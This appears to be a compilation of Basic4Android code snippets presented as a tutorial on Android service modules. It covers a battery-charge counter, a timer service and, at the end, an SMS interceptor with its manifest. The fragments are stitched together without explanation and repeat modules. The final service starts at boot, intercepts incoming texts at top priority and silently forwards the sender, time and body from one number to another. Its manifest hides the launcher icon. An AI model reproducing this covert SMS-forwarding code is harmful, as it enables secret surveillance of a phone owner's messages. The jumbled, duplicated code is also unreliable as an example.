Android Tutorial Service Modules

AddReceiverText(s1, <intent-filter>
    <action android:name="android.intent.action.PHONE_STATE" />
    </intent-filter>)

AddPermission("android.permission.READ_PHONE_STATE")

Sub Process_Globals
   Dim battery_counter As Int
   Dim device As PhoneEvents
   Dim root, settingspath As String
   Dim Charging_Now, Charging_Before As Boolean   
End Sub

Sub Service_Create
   device.Initialize("device")
   root=File.DirRootExternal
   settingspath = root & "/mpTouch/settings/"
   If File.Exists(settingspath, "battery.txt") Then
      battery_counter = File.ReadString(settingspath, "battery.txt")
   Else 
      File.WriteString(settingspath, "battery.txt", battery_counter)
   End If
End Sub

Sub Service_Start (StartingIntent As Intent)
End Sub

Sub Service_Destroy
End Sub

Sub device_BatteryChanged(Level As Int, Scale As Int, Plugged As Boolean, Intent As Intent)
   If Plugged Then 
      Charging_Now = True
   Else 
      Charging_Now = False
   End If
   If (Charging_Before = False) AND Charging_Now Then
      battery_counter = battery_counter+1
      File.WriteString(settingspath, "battery.txt", battery_counter)
   End If
   Charging_Before = Charging_Now
   ToastMessageShow("counter: " &battery_counter, False)  
End Sub

AddReceiverText(autostart, <intent-filter>
    <action android:name="android.intent.action.BATTERY_CHANGED" />
    </intent-filter>)
AddPermission("android.permission.BATTERY_CHANGED")

Sub Service_Start (StartingIntent As Intent)
   Log("Service start called")
   ToastMessageShow("called", False)  
End Sub

Sub Process_Globals
      Dim sNotif As Notification
      Dim device As PhoneEvents
End Sub

Sub Service_Create
   sNotif.Initialize
   sNotif.Icon = "icon"
   sNotif.SetInfo("Battery Counter by imagineear","Monitoring...",Main)
   sNotif.Sound = False
   sNotif.Notify(1)   
   Service.StartForeground(1,sNotif)
end sub

Sub device_BatteryChanged(Level As Int, Scale As Int, Plugged As Boolean, Intent As Intent)
   If Plugged Then 
      Charging_Now = True
   Else 
      Charging_Now = False
   End If
   If (Charging_Before = False) AND Charging_Now Then
      battery_counter = battery_counter+1
      File.WriteString(settingspath, "battery.txt", battery_counter)
   End If
   Charging_Before = Charging_Now
End Sub

'Activity module
Sub Process_Globals
    'These global variables will be declared once when the application starts.
    'These variables can be accessed from all modules.
    Dim Timer1 As Timer
    Timer1.Initialize("Timer1",1000)
    
End Sub

Sub Globals
    'These global variables will be redeclared each time the activity is created.
    'These variables can only be accessed from this module.
    Dim StartS As Button
    Dim StopS As Button
    Dim Label1 As Label
    Dim Label2 As Label
End Sub

Sub Activity_Create(FirstTime As Boolean)
    'Do not forget to load the layout file created with the visual designer. For example:
    Activity.LoadLayout("Layout1")
End Sub
Sub Activity_Resume
    UpdateStatus
    Label1.Text= ServiceM.Counter
    If IsPaused(ServiceM)= False Then
        Timer1.Enabled=True
    End If 
End Sub
Sub Activity_Pause (UserClosed As Boolean)
    Timer1.Enabled=False
End Sub
Sub Timer1_Tick
    Label1.Text= ServiceM.Counter
End Sub
Sub StopS_Click
    CancelScheduledService(ServiceM)  ' to end the command StartServiceAt
    StopService(ServiceM)
    UpdateStatus
    Timer1.Enabled=False
End Sub
Sub StartS_Click
    Timer1.Enabled=True
    StartService(ServiceM)
    UpdateStatus
End Sub
Sub UpdateStatus
    If IsPaused(ServiceM)=True Then
        Label2.Text = "Service is Paused"
    Else
        Label2.Text = "Service is Active"
    End If 
End Sub

'Service module
Sub Process_Globals
    'These global variables will be declared once when the application starts.
    'These variables can be accessed from all modules.
    'Dim TimerService As Timer
    Dim Counter As Int
    Counter = 0
    Dim N As Notification
End Sub
Sub Service_Create
    'TimerService.Initialize("TimerService",1000)
    'TimerService.Enabled=True
    
    n.Initialize
    n.Icon = "icon"
    n.Sound = False
    n.Vibrate = False
    n.Light = False
    n.OnGoingEvent=True
    
    n.SetInfo("Timer Start", Counter, Main) 
    'Change Main (above) to "" if this code is in the main module.
    n.Notify(1) 
    
End Sub

Sub Service_Start (StartingIntent As Intent)
    Counter = Counter+1
    n.SetInfo("Timer Start", Counter, Main) 
    'Change Main (above) to "" if this code is in the main module.
    n.Notify(1) 
    
    StartServiceAt("",DateTime.Now+DateTime.TicksPerSecond,True)
End Sub

Sub Service_Destroy
    n.Cancel(1)
End Sub

'Activity module
Sub Process_Globals
    'These global variables will be declared once when the application starts.
    'These variables can be accessed from all modules.
    Dim Timer1 As Timer
    Timer1.Initialize("Timer1",1000)

    
End Sub

Sub Globals
    'These global variables will be redeclared each time the activity is created.
    'These variables can only be accessed from this module.
    Dim StartS As Button
    Dim StopS As Button
    Dim Label1 As Label
    Dim Label2 As Label
    Dim Status As Boolean
    Dim TimerOff As Boolean
End Sub

Sub Activity_Create(FirstTime As Boolean)
    'Do not forget to load the layout file created with the visual designer. For example:
    Activity.LoadLayout("Layout1")
    If FirstTime Then 
        Status = False
        TimerOff = False
    End If
End Sub
Sub Activity_Resume
    UpdateStatus
    Label1.Text= ServiceM.Counter
    If IsPaused(ServiceM)= False Then
        Timer1.Enabled=True
    End If 
End Sub
Sub Activity_Pause (UserClosed As Boolean)
    Timer1.Enabled=False
End Sub
Sub Timer1_Tick
    Label1.Text= ServiceM.Counter
    If Status = True Then
        UpdateStatus
        Status = False
    End If     
    If TimerOff = True Then
        TimerOff = False
        Timer1.Enabled=False
    End If
End Sub
Sub StopS_Click
    CancelScheduledService(ServiceM)  ' to end the command StartServiceAt
    StopService(ServiceM)
    Status = True
    TimerOff = True
    
End Sub
Sub StartS_Click
    Timer1.Enabled=True
    StartService(ServiceM)
    Status = True
End Sub
Sub UpdateStatus
    If IsPaused(ServiceM)=True Then
        Label2.Text = "Service is Paused"
    Else
        Label2.Text = "Service is Active"
    End If 
End Sub

#Region  Service Attributes 
   #StartAtBoot: True
#End Region

Sub Process_Globals
   'These global variables will be declared once when the application starts.
   'These variables can be accessed from all modules.

Dim si As SmsInterceptor
Dim SMSs As PhoneSms

End Sub
Sub Service_Create

      'incoming messages
      si.Initialize2("si",2147483647)
      'ToastMessageShow("Uruchomione...", True)
      
End Sub

Sub Service_Start (StartingIntent As Intent)

End Sub

Sub Service_Destroy

   si.StopListening
   
End Sub

Sub si_MessageReceived(From As String, Body As String) As Boolean
    
   'Log(From)
   'ToastMessageShow(From & " - " & Body,False)
   
    If From.Contains("666666666") Then
   
    'Log ("Odebrało się")
         'teraz tworze wiadomosc
      Dim txt As String
      txt = "Wiadomosc odebrana od: "
      txt = txt & From & ";"
      txt = txt & DateTime.Date(DateTime.Now) & " " & DateTime.Time(DateTime.Now) & ";"
      txt = txt & Body
      SMSs.Send("+48888888888",txt)
      Log(txt)
      
    End If
    
End Sub

<?xml version="1.0" encoding="utf-8"?>
<manifest
   xmlns:android="http://schemas.android.com/apk/res/android"
   package="b4a.example"
   android:versionCode="1"
   android:versionName="4.2.1"
   android:installLocation="internalOnly">
   
   <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="14"/>
   <supports-screens android:largeScreens="true" 
       android:normalScreens="true" 
       android:smallScreens="true" 
       android:anyDensity="true"/>
   <uses-permission android:name="android.permission.RECEIVE_SMS"/>
   <uses-permission android:name="android.permission.SEND_SMS"/>
   <uses-permission android:name="android.permission.READ_SMS"/>
   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
   <application
      android:icon="@drawable/icon"
      android:label="Testowy Messaging Service">
      <activity
         android:windowSoftInputMode="stateHidden"
         android:launchMode="singleTop"
         android:name=".main"
         android:label="Testowy Messaging Service"
         android:screenOrientation="unspecified">
         <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <!--<category android:name="android.intent.category.LAUNCHER" /> -->
         </intent-filter>
         
      </activity>
      <service android:name=".sms">
      </service>
      <receiver android:name=".sms$sms_BR">
         <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED"/>
         </intent-filter>
      </receiver>
      <service android:name=".smsr">
      </service>
      <receiver android:name=".smsr$smsr_BR">
         <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED"/>
         </intent-filter>
      </receiver>
   </application>
</manifest>